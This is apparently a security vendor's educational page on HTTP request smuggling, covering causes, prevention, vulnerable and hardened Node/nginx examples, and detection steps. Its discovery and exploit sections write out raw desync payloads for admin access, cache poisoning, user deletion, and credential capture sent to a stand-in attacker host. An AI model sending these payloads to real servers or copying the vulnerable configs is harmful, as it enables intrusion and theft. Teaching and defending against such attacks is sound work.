HTTP Request Smuggling

Request DesyncSmuggling

HTTP Request Smuggling at a glance

What it is: When intermediaries (CDNs, proxies, load balancers) and origin servers disagree about where an HTTP request ends, attackers can craft requests that one component treats as one request and another treats as two or more. This mismatch allows attackers to 'smuggle' a request past the front end and have it processed in another user's context.
Why it happens: HTTP request smuggling occurs when multi-hop HTTP stacks (CDNs, proxies, load balancers, origin servers) parse requests differently or run outdated components, letting specially crafted requests be interpreted inconsistently and bypass protections.
How to fix: Ensure consistent request parsing and reject ambiguous framing, harden and validate caching behavior, and isolate build or admin systems from public-facing origins.

Overview

Request smuggling exploits differences in how HTTP framing (Content-Length vs chunked Transfer-Encoding, pipelining behavior, header normalization) is interpreted. A front-end may consider one set of bytes as request A while the backend considers them as request A plus a smuggled request B. The attacker crafts the byte stream so their malicious request B reaches the origin in the context of another user's session or hits internal-only endpoints.

sequenceDiagram participant Browser participant Edge as Reverse Proxy participant Origin as App Server Browser->>Edge: RAW TCP with both Transfer-Encoding and Content-Length (crafted) Edge->>Origin: Forwards bytes according to its parser Origin->>Origin: Interprets trailing bytes as separate request to /admin Origin-->>Edge: Response to /admin note over Origin: Origin processes smuggled internal request
A potential flow for a HTTP Request Smuggling exploit

Where it occurs

It occurs in complex HTTP stacks where CDNs, proxies, or origin servers parse requests differently, often due to inconsistent or outdated components in multi-hop architectures.

Impact

Impacts vary from cache poisoning (serving attacker content to many users) to triggering internal admin endpoints, bypassing authentication, or achieving session hijacks. Because the attack manipulates the boundary between users, it can be used to escalate localized access into broader compromise.

Prevention

Prevent HTTP request smuggling by enforcing consistent framing rules, rejecting ambiguous headers, patching and upgrading servers, normalizing or dropping hop-by-hop headers, disabling pipelining, and isolating sensitive admin endpoints.

Examples

Switch tabs to view language/framework variants.

Smuggled request causes cache poisoning of public content

Smuggled requests can cause the origin to return attacker controlled content which the proxy caches and serves to other users.

Vulnerable
bash • Reverse proxy + origin — Bad
N/A - misconfiguration between proxy and origin
  • Line 1: Misaligned caching assumptions between proxy and origin expose cache poisoning vectors

Smuggled requests that lead to attacker controlled content and are cached by proxies amplify impact by serving poisoned content to many victims.

Secure
bash • Reverse proxy + origin — Good
// Mitigation: configure proxy to only cache responses from origin for explicitly allowed paths, and ensure origin sets cache headers correctly. Reject or normalize ambiguous request framing.
  • Line 1: Only cache responses that are explicitly cacheable and come from canonical request paths

Harden caching rules, honor Vary and Cache-Control correctly, and avoid caching responses derived from untrusted or ambiguous inputs.

Engineer Checklist

  • Reject requests that include both Transfer-Encoding and Content-Length or multiple Content-Length headers at the edge

  • Upgrade proxies, CDNs, and servers to versions with smuggling mitigations

  • Disable or normalize pipelining and persistent connection behaviors if your stack cannot guarantee canonical parsing

  • Harden caches and avoid caching responses for paths that can be influenced by ambiguous inputs

  • Add anomaly logging for ambiguous headers and short raw captures for triage

  • Separate admin/internal endpoints from public origin servers or place them behind mutually authenticated channels

End-to-End Example

A public API sits behind a legacy load balancer that and an origin web server with differing parsing behavior. An attacker crafts a request with both Transfer-Encoding: chunked and a Content-Length header. The load balancer accepts the first chunk and forwards bytes to the origin, while the origin consumes framing differently and treats the trailing bytes as an admin request. The attacker triggers an internal action such as /admin/flush that should never be reachable from the public edge.

Vulnerable
BASH
// HTTP Request Smuggling - Vulnerable configurations and parsing

// VULNERABLE: Node.js server that doesn't validate Transfer-Encoding
// When behind a proxy that interprets headers differently

const http = require('http');

const server = http.createServer((req, res) => {
  // VULNERABLE: Node's default HTTP parser may handle Transfer-Encoding
  // differently than front-end proxy
  
  let body = '';
  req.on('data', chunk => {
    body += chunk;
  });
  
  req.on('end', () => {
    // VULNERABLE: If proxy and Node disagree on where request ends,
    // the 'leftover' bytes get processed as a new request
    // potentially hitting admin endpoints
    
    console.log('Received:', req.method, req.url);
    console.log('Body length:', body.length);
    
    // Normal endpoint
    if (req.url === '/api/data') {
      res.writeHead(200);
      res.end(JSON.stringify({ data: 'public' }));
    }
    
    // VULNERABLE: Admin endpoint on same server as public endpoints
    // Accessible if smuggled request reaches it
    if (req.url === '/admin/flush-cache') {
      // No IP restriction or mutual TLS check!
      // Smuggled request can reach this
      res.writeHead(200);
      res.end('Cache flushed');
    }
  });
});

server.listen(8080);

// VULNERABLE: nginx config that may disagree with backend on parsing
/*
upstream backend {
    server localhost:8080;
    # VULNERABLE: keepalive enables request smuggling
    keepalive 32;
}

server {
    listen 80;
    
    location / {
        # VULNERABLE: No validation of Transfer-Encoding + Content-Length
        # nginx and backend may parse differently
        proxy_pass http://backend;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        
        # VULNERABLE: No check for ambiguous framing
        # Both CL and TE headers may pass through
    }
}
*/

// VULNERABLE: Express app with no smuggling protection
app.post('/api/process', (req, res) => {
  // VULNERABLE: Express behind a proxy that parses differently
  // If proxy uses Content-Length but Express uses Transfer-Encoding,
  // trailing bytes become a smuggled request
  
  const data = req.body;
  
  // Process request normally
  res.json({ processed: true });
  
  // But if request contained:
  // Content-Length: 100
  // Transfer-Encoding: chunked
  // 
  // Proxy reads 100 bytes (via CL)
  // Express reads chunks (via TE)
  // Leftover bytes = smuggled request!
});

// VULNERABLE: No detection or logging of ambiguous headers
app.use((req, res, next) => {
  // Missing validation:
  // - Both Transfer-Encoding AND Content-Length present
  // - Multiple Content-Length headers
  // - Obfuscated Transfer-Encoding (e.g., "chunked, identity")
  
  next();
});

// Example of ambiguous request that causes CL.TE desync:
/*
POST /api/process HTTP/1.1
Host: app.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
*/

// Front-end proxy uses Content-Length: 13, forwards exactly 13 bytes:
// "0\n\nSMUGGLED"

// Backend uses Transfer-Encoding: chunked, reads chunk "0" (means end),
// then "SMUGGLED" remains in buffer and gets treated as NEW request!
Secure
BASH
// HTTP Request Smuggling - Secure configurations and detection

// SECURE: Express middleware to detect and reject ambiguous requests
app.use((req, res, next) => {
  const transferEncoding = req.get('Transfer-Encoding');
  const contentLength = req.get('Content-Length');
  
  // SECURE: Reject requests with both Transfer-Encoding and Content-Length
  if (transferEncoding && contentLength) {
    console.error('Ambiguous request framing detected:', {
      ip: req.ip,
      url: req.url,
      headers: req.headers
    });
    return res.status(400).json({ 
      error: 'Invalid request: ambiguous Transfer-Encoding and Content-Length' 
    });
  }
  
  // SECURE: Reject multiple Content-Length headers
  const clHeaders = req.rawHeaders.filter((h, i) => 
    i % 2 === 0 && h.toLowerCase() === 'content-length'
  );
  if (clHeaders.length > 1) {
    console.error('Multiple Content-Length headers detected:', req.rawHeaders);
    return res.status(400).json({ 
      error: 'Invalid request: multiple Content-Length headers' 
    });
  }
  
  // SECURE: Validate Transfer-Encoding format
  if (transferEncoding) {
    const normalized = transferEncoding.toLowerCase().trim();
    // Only allow 'chunked', reject obfuscated variants
    if (normalized !== 'chunked') {
      console.error('Invalid Transfer-Encoding:', transferEncoding);
      return res.status(400).json({ 
        error: 'Invalid Transfer-Encoding value' 
      });
    }
  }
  
  next();
});

// SECURE: Admin endpoints on separate internal server
// NOT accessible through public proxy
const adminServer = http.createServer((req, res) => {
  // Validate client certificate (mutual TLS)
  const cert = req.socket.getPeerCertificate();
  if (!cert || !cert.subject) {
    res.writeHead(401);
    return res.end('Unauthorized');
  }
  
  // Validate source IP is internal network
  const clientIP = req.socket.remoteAddress;
  if (!isInternalIP(clientIP)) {
    res.writeHead(403);
    return res.end('Forbidden');
  }
  
  // Admin actions only accessible with proper auth
  if (req.url === '/admin/flush-cache') {
    res.writeHead(200);
    res.end('Cache flushed (authenticated)');
  }
});

// Listen on internal-only interface
adminServer.listen(8081, '127.0.0.1');

function isInternalIP(ip) {
  // Check if IP is in internal ranges
  return ip === '127.0.0.1' || 
         ip.startsWith('10.') || 
         ip.startsWith('192.168.') ||
         ip.startsWith('172.16.');
}

// SECURE: nginx configuration with smuggling protection
/*
upstream backend {
    server localhost:8080;
    # Limit or disable keepalive to prevent request queue issues
    keepalive 0;
}

server {
    listen 80;
    
    # Reject ambiguous framing at the edge
    if ($http_transfer_encoding != "") {
        set $has_te 1;
    }
    if ($http_content_length != "") {
        set $has_cl 1;
    }
    set $ambiguous "${has_te}${has_cl}";
    if ($ambiguous = "11") {
        return 400 "Ambiguous request framing";
    }
    
    location / {
        # Use HTTP/1.1 but disable pipelining
        proxy_pass http://backend;
        proxy_http_version 1.1;
        
        # Normalize Connection header
        proxy_set_header Connection "";
        
        # Don't allow proxy to buffer for smuggling
        proxy_request_buffering on;
        
        # Set timeouts to prevent smuggled requests
        proxy_connect_timeout 5s;
        proxy_send_timeout 10s;
        proxy_read_timeout 10s;
    }
    
    # Admin endpoints NOT exposed through public proxy
    location /admin {
        return 403 "Forbidden";
    }
}

# Separate internal admin server
server {
    listen 8081;
    # Only bind to loopback
    bind 127.0.0.1;
    
    # Require client certificates
    ssl_client_certificate /etc/nginx/client-ca.crt;
    ssl_verify_client on;
    
    location /admin {
        proxy_pass http://localhost:8082;
    }
}
*/

// SECURE: Detection and monitoring
app.use((req, res, next) => {
  const originalOn = res.on.bind(res);
  const startTime = Date.now();
  
  res.on('finish', () => {
    const duration = Date.now() - startTime;
    
    // Log suspicious patterns
    if (duration > 30000) {  // 30 second timeout
      console.warn('Suspicious long request:', {
        ip: req.ip,
        url: req.url,
        duration,
        headers: req.headers
      });
    }
  });
  
  next();
});

// SECURE: Rate limiting on connection level
const connectionCounts = new Map();

setInterval(() => {
  // Cleanup old entries
  connectionCounts.clear();
}, 60000);  // Reset every minute

app.use((req, res, next) => {
  const ip = req.ip;
  const count = connectionCounts.get(ip) || 0;
  
  // Detect rapid-fire requests that might indicate smuggling attempts
  if (count > 100) {
    console.error('Rate limit exceeded, possible smuggling:', ip);
    return res.status(429).json({ error: 'Too many requests' });
  }
  
  connectionCounts.set(ip, count + 1);
  next();
});

Discovery

This vulnerability is discovered by sending HTTP requests with conflicting Content-Length and Transfer-Encoding headers to detect discrepancies in how front-end and back-end servers parse request boundaries, causing desynchronization.

  1. 1. Baseline request timing

    http

    Action

    Send normal requests to establish baseline timing and response behavior for comparison

    Request

    POST https://app.example.com/api

    Response

    Status: 200
    Body:
    {
      "note": "Normal response time and single request logged at edge and origin"
    }

    Artifacts

    http_response_time edge_logs origin_logs
  2. 2. CL.TE desync detection

    http

    Action

    Test if front-end uses Content-Length while backend uses Transfer-Encoding by sending conflicting headers

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nContent-Length: 4\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\nQ"

    Response

    Status: 200
    Body:
    {
      "note": "Backend timeout or error indicates it's waiting for chunk terminator, confirming CL.TE"
    }

    Artifacts

    http_response_status response_time
  3. 3. TE.CL desync detection

    http

    Action

    Test if front-end uses Transfer-Encoding while backend uses Content-Length

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 6\\r\\n\\r\\n0\\r\\n\\r\\nX"

    Response

    Status: 200
    Body:
    {
      "note": "Next request on connection receives unexpected response, indicating smuggled prefix"
    }

    Artifacts

    http_response_body connection_reuse_behavior
  4. 4. Smuggle request to internal endpoint

    http

    Action

    Attempt to smuggle a request to an internal-only endpoint to confirm exploitability

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 60\\r\\n\\r\\n0\\r\\n\\r\\nGET /admin/health HTTP/1.1\\r\\nHost: app.example.com\\r\\n\\r\\n"

    Response

    Status: 200
    Body:
    {
      "note": "Origin access logs show /admin/health request that edge did not log, confirming smuggling"
    }

    Artifacts

    edge_logs origin_logs http_response

Exploit steps

An attacker exploits this by smuggling malicious requests that are processed as part of subsequent legitimate requests, enabling cache poisoning, request routing manipulation, firewall bypass, or hijacking other users' requests.

  1. 1. Bypass authentication via request smuggling

    Smuggle authenticated request

    http

    Action

    Poison victim's request by prepending smuggled admin endpoint access

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 150\\r\\n\\r\\n0\\r\\n\\r\\nGET /admin/users HTTP/1.1\\r\\nHost: app.example.com\\r\\nX-Ignore: X"

    Response

    Status: 200
    Body:
    {
      "note": "Smuggled request inherits next victim's session, bypassing authentication"
    }

    Artifacts

    http_response_body origin_logs
  2. 2. Cache poisoning via smuggling

    Poison shared cache

    http

    Action

    Smuggle request that poisons cache with attacker-controlled response for all users

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 200\\r\\n\\r\\n0\\r\\n\\r\\nGET /static/main.js HTTP/1.1\\r\\nHost: app.example.com\\r\\nX-Poison: malicious\\r\\n\\r\\n"

    Response

    Status: 200
    Body:
    {
      "note": "CDN caches poisoned response; all users receive malicious JavaScript"
    }

    Artifacts

    cache_headers http_response_body
  3. 3. Execute privileged admin actions

    Smuggle destructive admin request

    http

    Action

    Craft desync payload to execute admin-only actions like user deletion or config changes

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 180\\r\\n\\r\\n0\\r\\n\\r\\nPOST /admin/delete-user HTTP/1.1\\r\\nHost: app.example.com\\r\\nContent-Type: application/json\\r\\nContent-Length: 15\\r\\n\\r\\n{\"id\":\"1234\"}"

    Response

    Status: 200
    Body:
    {
      "note": "Admin action executes without authorization, user deleted from system"
    }

    Artifacts

    database_changes audit_logs
  4. 4. Credential hijacking via request routing

    Capture victim credentials

    http

    Action

    Smuggle request that causes next victim's request body to be routed to attacker-controlled endpoint

    Request

    RAW tcp://edge:80
    Body:
    "POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 250\\r\\n\\r\\n0\\r\\n\\r\\nPOST /log-capture HTTP/1.1\\r\\nHost: attacker.example.com\\r\\nContent-Length: 500\\r\\n\\r\\n"

    Response

    Status: 200
    Body:
    {
      "note": "Next victim's login credentials are sent to attacker's logging endpoint"
    }

    Artifacts

    attacker_server_logs captured_credentials

Specific Impact

An attacker triggers internal administration actions that can delete data, flush caches, or alter configuration. Because the edge did not record the admin action, tracing and incident response are harder and the attacker may persist a backdoor.

Recovery requires patching proxy/origin parsing, rotating secrets, auditing logs across components, invalidating caches, and reviewing for other smuggled requests processed during the incident window.

Fix

Fixes require canonicalizing HTTP parsing across the stack and rejecting ambiguous requests. Coordinate network and platform teams to deploy vendor recommended patches and to add detection and logging for ambiguity. Where possible, locate admin endpoints on separate internal-only hosts that are not reachable via the public CDN or proxy.

Detect This Vulnerability in Your Code

Sourcery automatically identifies http request smuggling vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free